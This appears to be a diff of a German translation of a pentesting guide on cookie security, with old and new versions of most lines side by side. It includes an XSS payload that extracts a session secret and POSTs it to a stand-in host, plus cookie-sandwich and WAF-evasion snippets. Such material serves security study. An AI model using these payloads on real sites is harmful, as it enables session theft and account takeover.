Das `Path`-Attribut gibt einen spezifischen URL-Pfad an, der in der angeforderten URL vorhanden sein muss, damit der `Cookie`-Header gesendet wird. Das Attribut behandelt das Zeichen `/` als Verzeichnistrenner, sodass auch Übereinstimmungen in Unterverzeichnissen möglich sind.
### Reihenfolge-Regeln
### Ordering Rules
Wenn zwei Cookies denselben Namen tragen, wird dasjenige, das zum Senden ausgewählt wird, basierend auf:
Wenn zwei Cookies denselben Namen tragen, richtet sich die Auswahl des zu sendenden Cookies nach:
- Dem Cookie, das den längsten Pfad in der angeforderten URL übereinstimmt.
- Dem zuletzt gesetzten Cookie, wenn die Pfade identisch sind.
- Dem Cookie, dessen Path am längsten mit der angeforderten URL übereinstimmt.
- Dem zuletzt gesetzten Cookie, falls die Paths identisch sind.
### SameSite
- Das Attribut `SameSite` bestimmt, ob Cookies bei Anfragen von Drittanbieter-Domains gesendet werden. Es bietet drei Einstellungen:
- **Strict**: Verhindert, dass das Cookie bei Anfragen von Drittanbietern gesendet wird.
- **Lax**: Erlaubt, dass das Cookie mit GET-Anfragen gesendet wird, die von Drittanbieter-Websites initiiert werden.
- **None**: Erlaubt, dass das Cookie von jeder Drittanbieter-Domain gesendet wird.
- Das Attribut `SameSite` legt fest, ob Cookies bei Requests gesendet werden, die von Drittanbieter-Domains ausgehen. Es bietet drei Einstellungen:
- **Strict**: Verhindert, dass das Cookie bei Drittanbieter-Requests gesendet wird.
- **Lax**: Erlaubt das Senden des Cookies bei GET-Requests, die von Drittanbieter-Websites initiiert werden.
- **None**: Erlaubt das Senden des Cookies von jeder Drittanbieter-Domain.
Denken Sie daran, dass das Verständnis dieser Attribute bei der Konfiguration von Cookies helfen kann, um sicherzustellen, dass sie in verschiedenen Szenarien wie erwartet funktionieren.
Beim Konfigurieren von Cookies hilft das Verständnis dieser Attribute, um sicherzustellen, dass sie sich in verschiedenen Szenarien wie erwartet verhalten.
| **Anfragetyp** | **Beispielcode** | **Cookies gesendet, wenn** |
| ---------------- | ---------------------------------- | --------------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Bild | \<img src="..."> | NetSet\*, None |
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tabelle von [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) und leicht modifiziert.\
Ein Cookie mit dem _**SameSite**_ Attribut wird **CSRF-Angriffe mildern**, bei denen eine angemeldete Sitzung erforderlich ist.
Ein Cookie mit dem Attribut _**SameSite**_ wird **CSRF-Angriffe abschwächen**, bei denen eine eingeloggte Sitzung erforderlich ist.
**\*Beachten Sie, dass ab Chrome80 (Februar 2019) das Standardverhalten eines Cookies ohne ein Cookie SameSite** **Attribut lax** sein wird ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Beachten Sie, dass temporär, nach Anwendung dieser Änderung, die **Cookies ohne eine SameSite** **Richtlinie** in Chrome **während der ersten 2 Minuten als None** behandelt werden und dann als Lax für die oberste Ebene Cross-Site POST-Anfrage.
**\*Beachte, dass ab Chrome80 (Feb/2019) das Standardverhalten eines Cookies ohne SameSite-Attribut Lax sein wird** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Beachte, dass vorübergehend, nach Anwendung dieser Änderung, die **Cookies ohne SameSite-Policy** in Chrome während der **ersten 2 Minuten** als **None** behandelt werden und danach für top-level Cross-Site-POST-Requests als **Lax**.
## Cookies-Flags
## Cookie-Flags
### HttpOnly
Dies verhindert, dass der **Client** auf das Cookie zugreift (zum Beispiel über **Javascript**: `document.cookie`)
Verhindert, dass der **Client** auf das Cookie zugreift (z. B. via **Javascript**: `document.cookie`)
#### **Umgehungen**
#### **Bypasses**
- Falls eine Seite die Cookies als Antwort auf eine Anfrage zurückgibt (z. B. eine **PHPinfo**-Seite), ist es möglich, eine XSS auszunutzen, um eine Anfrage an diese Seite zu senden und die Cookies aus der Antwort zu **stehlen** (siehe Beispiel unter [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Dies könnte mit **TRACE**-HTTP-Requests umgangen werden, da die Serverantwort (falls diese HTTP-Methode verfügbar ist) die gesendeten Cookies reflektiert. Diese Technik wird **Cross-Site Tracking** genannt.
- Moderne Browser verhindern diese Technik, indem sie das Senden von TRACE-Requests aus JS nicht erlauben. Es wurden jedoch Umgehungen in spezifischer Software gefunden, z. B. durch Senden von `\r\nTRACE` statt `TRACE` an IE6.0 SP2.
- Eine weitere Möglichkeit ist die Ausnutzung von zero/day-Schwachstellen in Browsern.
- Es ist möglich, **HttpOnly-Cookies zu überschreiben**, indem ein Cookie Jar overflow-Angriff durchgeführt wird:
- Wenn die Seite **die Cookies als Antwort** auf eine Anfrage sendet (zum Beispiel auf einer **PHPinfo**-Seite), ist es möglich, XSS auszunutzen, um eine Anfrage an diese Seite zu senden und **die Cookies** aus der Antwort zu **stehlen** (siehe ein Beispiel in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Dies könnte mit **TRACE** **HTTP**-Anfragen umgangen werden, da die Antwort des Servers (wenn diese HTTP-Methode verfügbar ist) die gesendeten Cookies widerspiegelt. Diese Technik wird als **Cross-Site Tracking** bezeichnet.
- Diese Technik wird von **modernen Browsern vermieden, indem das Senden einer TRACE**-Anfrage von JS nicht erlaubt wird. Einige Umgehungen dafür wurden jedoch in spezifischer Software gefunden, wie das Senden von `\r\nTRACE` anstelle von `TRACE` an IE6.0 SP2.
- Eine andere Möglichkeit ist die Ausnutzung von Zero-Day-Sicherheitsanfälligkeiten der Browser.
- Es ist möglich, **HttpOnly-Cookies** durch einen Cookie-Jar-Overflow-Angriff zu **überschreiben**:
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- Es ist möglich, den [**Cookie Smuggling**](#cookie-smuggling) Angriff zu verwenden, um diese Cookies zu exfiltrieren.
- Es ist möglich, einen [**Cookie Smuggling**](#cookie-smuggling)-Angriff zu verwenden, um diese Cookies zu exfiltrieren
- Wenn ein serverseitiger Endpoint die rohe Session-ID in der HTTP-Antwort zurückgibt (z. B. in HTML-Kommentaren oder einem Debug-Block), kann HttpOnly umgangen werden, indem ein XSS-Gadget verwendet wird, um diesen Endpoint abzurufen, das Geheimnis per regex zu extrahieren und es zu exfiltrieren. Beispiel eines XSS-Payload-Musters:
```js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
```
### Secure
Die Anfrage sendet das Cookie **nur**, wenn die Anfrage über einen sicheren Kanal (typischerweise **HTTPS**) übertragen wird.
Die Anfrage sendet das Cookie **nur**, wenn die HTTP-Anfrage über einen sicheren Kanal (typischerweise **HTTPS**) übertragen wird.
## Cookies-Präfixe
## Cookie-Präfixe
Cookies, die mit `__Secure-` beginnen, müssen zusammen mit dem `secure`-Flag von Seiten gesetzt werden, die durch HTTPS gesichert sind.
Cookies, die mit `__Secure-` vorangestellt sind, müssen zusammen mit dem `secure` Flag von Seiten gesetzt werden, die über HTTPS gesichert sind.
Für Cookies, die mit `__Host-` beginnen, müssen mehrere Bedingungen erfüllt sein:
Bei Cookies, die mit `__Host-` vorangestellt sind, müssen mehrere Bedingungen erfüllt sein:
- Sie müssen mit dem `secure`-Flag gesetzt werden.
- Sie müssen mit dem `secure` Flag gesetzt sein.
- Sie müssen von einer Seite stammen, die durch HTTPS gesichert ist.
- Es ist verboten, eine Domain anzugeben, was ihre Übertragung an Subdomains verhindert.
- Der Pfad für diese Cookies muss auf `/` gesetzt werden.
- Es ist untersagt, eine Domain anzugeben, wodurch ihre Übertragung an Subdomains verhindert wird.
- Der Path für diese Cookies muss auf `/` gesetzt sein.
Es ist wichtig zu beachten, dass Cookies, die mit `__Host-` beginnen, nicht an Superdomains oder Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Anwendungscookies zu isolieren. Daher kann die Verwendung des `__Host-`-Präfixes für alle Anwendungscookies als gute Praxis zur Verbesserung der Sicherheit und Isolation angesehen werden.
Es ist wichtig zu beachten, dass Cookies mit dem Präfix `__Host-` weder an Superdomains noch an Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Application-Cookies zu isolieren. Daher kann die Verwendung des `__Host-` Präfixes für alle Application-Cookies als gute Praxis zur Verbesserung von Sicherheit und Isolation betrachtet werden.
### Überschreiben von Cookies
Eine der Schutzmaßnahmen von mit `__Host-` beginnenden Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dies verhindert beispielsweise [**Cookie Tossing-Angriffe**](cookie-tossing.md). In dem Vortrag [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**Paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird präsentiert, dass es möglich war, \_\_HOST- beginnende Cookies von einer Subdomain zu setzen, indem man den Parser täuschte, zum Beispiel, indem man "=" am Anfang oder am Ende hinzufügte...:
Eine Schutzmaßnahme von `__Host-`-präfixierten Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dadurch werden zum Beispiel [**Cookie Tossing attacks**](cookie-tossing.md) verhindert. In dem Talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird gezeigt, dass es möglich war, \_\_HOST- präfixierte Cookies von einer Subdomain zu setzen, indem der Parser ausgetrickst wurde, zum Beispiel durch Hinzufügen von "=" am Anfang oder am Anfang und Ende...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch Unterstriche **ersetzt** werden sollten, was es ermöglichte, `__HOST-` Cookies zu überschreiben:
Oder in PHP war es möglich, **andere Zeichen am Anfang** des Cookie-Namens hinzuzufügen, die durch **Unterstriche ersetzt** wurden, wodurch `__HOST-` Cookies überschrieben werden konnten:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies-Angriffe
## Cookie-Angriffe
Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfen Sie es (insbesondere wenn Sie an einem CTF teilnehmen), da es anfällig sein könnte.
Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfe es (besonders wenn du an einem CTF teilnimmst), da es verwundbar sein könnte.
### Dekodierung und Manipulation von Cookies
### Cookies dekodieren und manipulieren
Sensible Daten, die in Cookies eingebettet sind, sollten immer überprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, den Inhalt des Cookies zu ändern und sich als andere Benutzer auszugeben, indem sie ihre modifizierten Daten wieder in das Cookie kodieren.
Sensible Daten, die in Cookies eingebettet sind, sollten immer geprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Schwachstelle erlaubt es Angreifern, den Inhalt des Cookies zu verändern und sich als andere Benutzer auszugeben, indem sie ihre veränderten Daten zurück in das Cookie kodieren.
### Sitzungsübernahme
### Session Hijacking
Dieser Angriff besteht darin, das Cookie eines Benutzers zu stehlen, um unbefugten Zugriff auf dessen Konto innerhalb einer Anwendung zu erlangen. Durch die Verwendung des gestohlenen Cookies kann ein Angreifer den legitimen Benutzer imitieren.
Bei diesem Angriff wird das Cookie eines Benutzers gestohlen, um unautorisierten Zugriff auf dessen Konto in einer Anwendung zu erlangen. Mit dem gestohlenen Cookie kann sich ein Angreifer als der legitime Benutzer ausgeben.
### Sitzungsfixierung
### Session Fixation
In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie zum Anmelden zu verwenden. Wenn die Anwendung beim Anmelden kein neues Cookie zuweist, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer imitieren. Diese Technik beruht darauf, dass das Opfer sich mit einem Cookie anmeldet, das vom Angreifer bereitgestellt wurde.
Bei diesem Szenario bringt ein Angreifer das Opfer dazu, ein bestimmtes Cookie zum Einloggen zu verwenden. Wenn die Anwendung beim Login kein neues Cookie vergibt, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer als dieses ausgeben. Diese Technik setzt voraus, dass sich das Opfer mit einem vom Angreifer bereitgestellten Cookie einloggt.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
Wenn Sie ein **XSS in einer Subdomain** gefunden haben oder **eine Subdomain kontrollieren**, lesen Sie:
{{#ref}}
cookie-tossing.md
{{#endref}}
### Sitzungsdonation
### Session Donation
Hier überzeugt der Angreifer das Opfer, das Sitzungscookie des Angreifers zu verwenden. Das Opfer, das glaubt, in seinem eigenen Konto angemeldet zu sein, wird unbeabsichtigt Aktionen im Kontext des Kontos des Angreifers ausführen.
Hier überredet der Angreifer das Opfer, das Session-Cookie des Angreifers zu verwenden. Das Opfer, in dem Glauben, in seinem eigenen Konto eingeloggt zu sein, führt unbewusst Aktionen im Kontext des Kontos des Angreifers aus.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
Wenn Sie ein **XSS in einer Subdomain** gefunden haben oder **eine Subdomain kontrollieren**, lesen Sie:
{{#ref}}
cookie-tossing.md
{{#endref}}
### [JWT-Cookies](../hacking-jwt-json-web-tokens.md)
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Klicken Sie auf den vorherigen Link, um auf eine Seite zuzugreifen, die mögliche Schwächen in JWT erklärt.
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT), die in Cookies verwendet werden, können ebenfalls Sicherheitsanfälligkeiten aufweisen. Für detaillierte Informationen zu potenziellen Schwächen und wie man sie ausnutzt, wird empfohlen, das verlinkte Dokument über das Hacken von JWT zu konsultieren.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
### Cross-Site Request Forgery (CSRF)
Dieser Angriff zwingt einen angemeldeten Benutzer, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er derzeit authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die anfällige Seite gesendet werden.
Dieser Angriff zwingt einen angemeldeten Benutzer dazu, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er gerade authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die verwundbare Website gesendet werden.
### Leere Cookies
(Weitere Details finden Sie in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was sich mit JavaScript wie folgt demonstrieren lässt:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Das Ergebnis im gesendeten Cookie-Header ist `a=v1; test value; b=v2;`. Interessanterweise ermöglicht dies die Manipulation von Cookies, wenn ein Cookie mit leerem Namen gesetzt wird, wodurch möglicherweise andere Cookies kontrolliert werden können, indem das leere Cookie auf einen bestimmten Wert gesetzt wird:
Das Ergebnis im gesendeten cookie-Header ist `a=v1; test value; b=v2;`. Interessanterweise erlaubt dies die Manipulation von cookies, wenn ein cookie mit leerem Namen gesetzt wird, wodurch möglicherweise andere cookies kontrolliert werden können, indem man den leeren cookie auf einen bestimmten Wert setzt:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
@ -155,75 +165,76 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
Dies führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als ein Cookie mit dem Namen `a` und dem Wert `b` interpretiert wird.
Das führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als Cookie mit dem Namen `a` und dem Wert `b` interpretiert wird.
#### Chrome-Bug: Unicode-Surrogat-Codepunkt-Problem
#### Chrome Bug: Problem mit Unicode-Surrogat-Codepoints
In Chrome, wenn ein Unicode-Surrogat-Codepunkt Teil eines gesetzten Cookies ist, wird `document.cookie` beschädigt und gibt anschließend einen leeren String zurück:
In Chrome führt das Vorhandensein eines Unicode-Surrogat-Codepunkts in einem gesetzten Cookie dazu, dass `document.cookie` beschädigt wird und anschließend einen leeren String zurückgibt:
```js
document.cookie = "\ud800=meep"
```
Dies führt dazu, dass `document.cookie` einen leeren String ausgibt, was auf eine permanente Beschädigung hinweist.
Das führt dazu, dass `document.cookie` einen leeren String ausgibt, was auf eine dauerhafte Beschädigung hinweist.
#### Cookie-Smuggling aufgrund von Parsing-Problemen
#### Cookie Smuggling aufgrund von Parsing-Problemen
(Weitere Details finden Sie in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Mehrere Webserver, einschließlich der von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), behandeln Cookie-Strings aufgrund veralteter RFC2965-Unterstützung falsch. Sie lesen einen doppelt zitierten Cookie-Wert als einen einzelnen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Mehrere Webserver, darunter solche von Java (Jetty, TomCat, Undertow) und Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gehen Cookie-Strings aufgrund veralteter RFC2965-Unterstützung fehlerhaft um. Sie lesen einen doppelt-quotierten Cookie-Wert als einen einzigen Wert, selbst wenn er Semikolons enthält, die normalerweise Schlüssel-Wert-Paare trennen sollten:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Die falsche Analyse von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's `http.cookie.SimpleCookie` und `http.cookie.BaseCookie` verwenden, schafft Möglichkeiten für Cookie-Injektionsangriffe. Diese Server versäumen es, den Beginn neuer Cookies ordnungsgemäß zu begrenzen, was es Angreifern ermöglicht, Cookies zu fälschen:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Die fehlerhafte Parsing-Logik von Cookies durch Server, insbesondere Undertow, Zope und solche, die Python's `http.cookie.SimpleCookie` und `http.cookie.BaseCookie` verwenden, eröffnet Möglichkeiten für cookie injection attacks. Diese Server trennen den Beginn neuer Cookies nicht korrekt, wodurch Angreifer Cookies spoofen können:
- Undertow erwartet ein neues Cookie unmittelbar nach einem in Anführungszeichen gesetzten Wert ohne Semikolon.
- Zope sucht nach einem Komma, um mit der Analyse des nächsten Cookies zu beginnen.
- Pythons Cookie-Klassen beginnen die Analyse bei einem Leerzeichen.
- Undertow erwartet ein neues Cookie unmittelbar nach einem quoted value ohne Semikolon.
- Zope sucht nach einem Komma, um mit dem Parsen des nächsten Cookies zu beginnen.
- Python's cookie classes beginnen mit dem Parsen bei einem Leerzeichen.
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgehen kann. Das Problem wird durch Pythons Umgang mit doppelten Cookie-Namen verschärft, bei dem das letzte Vorkommen die vorherigen überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind.
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basierte CSRF-Protection setzen, da sie es Angreifern ermöglicht, gefälschte CSRF-token-Cookies zu injizieren und so Sicherheitsmaßnahmen zu umgehen. Das Problem wird durch Pythons Umgang mit doppelten Cookie-Namen verschärft, bei dem das letzte Vorkommen frühere überschreibt. Es wirft außerdem Bedenken für `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und kann zu Autorisierungsumgehungen führen, wenn Cookies an Back-End-Server weitergereicht werden, die für Spoofing anfällig sind.
### Cookies $version
#### WAF Bypass
Laut [**diesem Blogbeitrag**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) könnte es möglich sein, das Cookie-Attribut **`$Version=1`** zu verwenden, um das Backend dazu zu bringen, eine alte Logik zur Analyse des Cookies aufgrund der **RFC2109** zu verwenden. Darüber hinaus können andere Werte wie **`$Domain`** und **`$Path`** verwendet werden, um das Verhalten des Backends mit dem Cookie zu ändern.
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), es könnte möglich sein, das Cookie-Attribut **`$Version=1`** zu verwenden, damit das Backend eine ältere Logik zum Parsen des Cookies nutzt (aufgrund von **RFC2109**). Außerdem können andere Werte wie **`$Domain`** und **`$Path`** verwendet werden, um das Verhalten des Backends bezüglich des Cookies zu verändern.
#### Cookie Sandwich Attack
Laut [**diesem Blogbeitrag**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) ist es möglich, die Cookie-Sandwich-Technik zu verwenden, um HttpOnly-Cookies zu stehlen. Dies sind die Anforderungen und Schritte:
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) ist es möglich, die cookie sandwich technique zu nutzen, um HttpOnly-Cookies zu stehlen. Dies sind die Voraussetzungen und Schritte:
- Finde einen Ort, an dem ein scheinbar nutzloses **Cookie in der Antwort reflektiert wird**
- **Erstelle ein Cookie mit dem Namen `$Version`** mit dem Wert `1` (du kannst dies in einem XSS-Angriff von JS aus tun) mit einem spezifischeren Pfad, damit es die ursprüngliche Position erhält (einige Frameworks wie Python benötigen diesen Schritt nicht)
- **Erstelle das Cookie, das reflektiert wird** mit einem Wert, der ein **offenes doppeltes Anführungszeichen** hinterlässt und mit einem spezifischen Pfad, damit es in der Cookie-Datenbank nach dem vorherigen (`$Version`) positioniert wird
- Dann wird das legitime Cookie in der Reihenfolge als nächstes kommen
- **Erstelle ein Dummy-Cookie, das das doppelte Anführungszeichen** innerhalb seines Wertes schließt
- Finde eine Stelle, an der ein scheinbar nutzloses **cookie in der Response reflektiert wird**
- **Create a cookie called `$Version`** mit dem Wert `1` (du kannst das z. B. in einem XSS-Angriff aus JS heraus tun) mit einem spezifischeren Path, damit es die erste Position einnimmt (einige Frameworks wie python benötigen diesen Schritt nicht)
- **Create the cookie that is reflected** mit einem Wert, der ein **offenes doppeltes Anführungszeichen** hinterlässt, und mit einem spezifischen Path, sodass es in der Cookie-DB direkt nach dem vorherigen (`$Version`) positioniert ist
- Dann folgt das legitime Cookie in der Reihenfolge
- **Create a dummy cookie that closes the double quotes** innerhalb seines Wertes
Auf diese Weise wird das Opfer-Cookie innerhalb des neuen Cookie-Version 1 gefangen und wird immer reflektiert, wenn es reflektiert wird.
Auf diese Weise wird das Opfer-Cookie in der neuen Cookie-Version 1 eingeschlossen und wird immer dann reflektiert, wenn es reflektiert wird.
e.g. from the post:
```javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
```
### WAF-Bypässe
### WAF bypasses
#### Cookies $version
Überprüfen Sie den vorherigen Abschnitt.
Siehe vorherigen Abschnitt.
#### Umgehung der Wertanalyse mit quoted-string-Encoding
#### Bypassing value analysis with quoted-string encoding
Diese Analyse zeigt an, dass escaped Werte innerhalb der Cookies unescaped werden, sodass "\a" zu "a" wird. Dies kann nützlich sein, um WAFS zu umgehen, da:
Diese Parsing-Logik sorgt dafür, dass Escape-Sequenzen in Cookie-Werten aufgelöst werden, sodass "\a" zu "a" wird. Das kann nützlich sein, um WAFS zu umgehen, z. B.:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Umgehung von Cookie-Namen-Blocklisten
#### Bypassing cookie-name blocklists
In der RFC2109 wird angegeben, dass ein **Komma als Trennzeichen zwischen Cookie-Werten verwendet werden kann**. Außerdem ist es möglich, **Leerzeichen und Tabs vor und nach dem Gleichheitszeichen hinzuzufügen**. Daher erzeugt ein Cookie wie `$Version=1; foo=bar, abc = qux` nicht das Cookie `"foo":"bar, admin = qux"`, sondern die Cookies `foo":"bar"` und `"admin":"qux"`. Beachten Sie, wie 2 Cookies generiert werden und wie der Raum vor und nach dem Gleichheitszeichen für admin entfernt wurde.
Im RFC2109 wird angegeben, dass ein **Komma als Trenner zwischen Cookie-Werten verwendet werden kann**. Außerdem ist es möglich, **Leerzeichen und Tabs vor und nach dem Gleichheitszeichen** hinzuzufügen. Deshalb erzeugt ein Cookie wie `$Version=1; foo=bar, abc = qux` nicht das Cookie `"foo":"bar, admin = qux"` sondern die Cookies `"foo":"bar"` und `"admin":"qux"`. Beachte, wie 2 Cookies generiert werden und wie bei admin das Leerzeichen vor und nach dem Gleichheitszeichen entfernt wurde.
#### Umgehung der Wertanalyse mit Cookie-Splitting
#### Bypassing value analysis with cookie splitting
Schließlich würden verschiedene Backdoors in einem String verschiedene Cookies zusammenführen, die in unterschiedlichen Cookie-Headern übergeben werden, wie in:
Schließlich fügen verschiedene backdoors in einem String unterschiedliche cookies, die in verschiedenen cookie headers übergeben wurden, zusammen, wie in:
```
GET / HTTP/1.1
Host: example.com
@ -237,25 +248,25 @@ Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### Zusätzliche Überprüfungen auf verwundbare Cookies
### Zusätzliche Prüfungen für besonders verwundbare Cookies
#### **Grundlegende Überprüfungen**
#### **Grundlegende Prüfungen**
- Das **cookie** ist jedes Mal, wenn Sie sich **anmelden**, **gleich**.
- Melden Sie sich ab und versuchen Sie, dasselbe Cookie zu verwenden.
- Versuchen Sie, sich mit 2 Geräten (oder Browsern) mit demselben Cookie in dasselbe Konto einzuloggen.
- Überprüfen Sie, ob das Cookie Informationen enthält, und versuchen Sie, es zu ändern.
- Versuchen Sie, mehrere Konten mit fast demselben Benutzernamen zu erstellen, und überprüfen Sie, ob Sie Ähnlichkeiten sehen können.
- Überprüfen Sie die Option "**remember me**", falls vorhanden, um zu sehen, wie sie funktioniert. Wenn sie vorhanden ist und verwundbar sein könnte, verwenden Sie immer das Cookie von **remember me** ohne ein anderes Cookie.
- Überprüfen Sie, ob das vorherige Cookie funktioniert, selbst nachdem Sie das Passwort geändert haben.
- Der **cookie** ist jedes Mal beim **login** **gleich**.
- Log out und versuche, denselben cookie zu verwenden.
- Versuche, dich mit 2 Geräten (oder Browsern) beim selben account mit demselben cookie einzuloggen.
- Prüfe, ob der cookie Informationen enthält, und versuche, ihn zu verändern.
- Versuche, mehrere accounts mit nahezu identischen usernames zu erstellen und prüfe, ob du Gemeinsamkeiten erkennen kannst.
- Prüfe die "**remember me**" Option, falls vorhanden, um zu sehen, wie sie funktioniert. Falls sie vorhanden ist und verwundbar sein könnte, verwende immer nur den cookie von **remember me** ohne andere cookies.
- Prüfe, ob der vorherige cookie noch funktioniert, nachdem du das Passwort geändert hast.
#### **Erweiterte Cookie-Angriffe**
#### **Fortgeschrittene cookie-Angriffe**
Wenn das Cookie beim Einloggen gleich bleibt (oder fast gleich bleibt), bedeutet dies wahrscheinlich, dass das Cookie mit einem Feld Ihres Kontos (wahrscheinlich dem Benutzernamen) verbunden ist. Dann können Sie:
Wenn der cookie beim Einloggen gleich bleibt (oder nahezu), bedeutet das wahrscheinlich, dass der cookie mit einem Feld deines accounts verknüpft ist (wahrscheinlich dem username). Dann kannst du:
- Versuchen, viele **Konten** mit sehr **ähnlichen** Benutzernamen zu erstellen und versuchen, zu **erraten**, wie der Algorithmus funktioniert.
- Versuchen, den **Benutzernamen zu bruteforcen**. Wenn das Cookie nur als Authentifizierungsmethode für Ihren Benutzernamen gespeichert wird, können Sie ein Konto mit dem Benutzernamen "**Bmin**" erstellen und jeden einzelnen **Bit** Ihres Cookies bruteforcen, da eines der Cookies, die Sie versuchen werden, das von "**admin**" sein wird.
- Versuchen Sie **Padding** **Oracle** (Sie können den Inhalt des Cookies entschlüsseln). Verwenden Sie **padbuster**.
- Versuche, viele **accounts** mit sehr ähnlichen usernames zu erstellen und versuche zu **erraten**, wie der Algorithmus funktioniert.
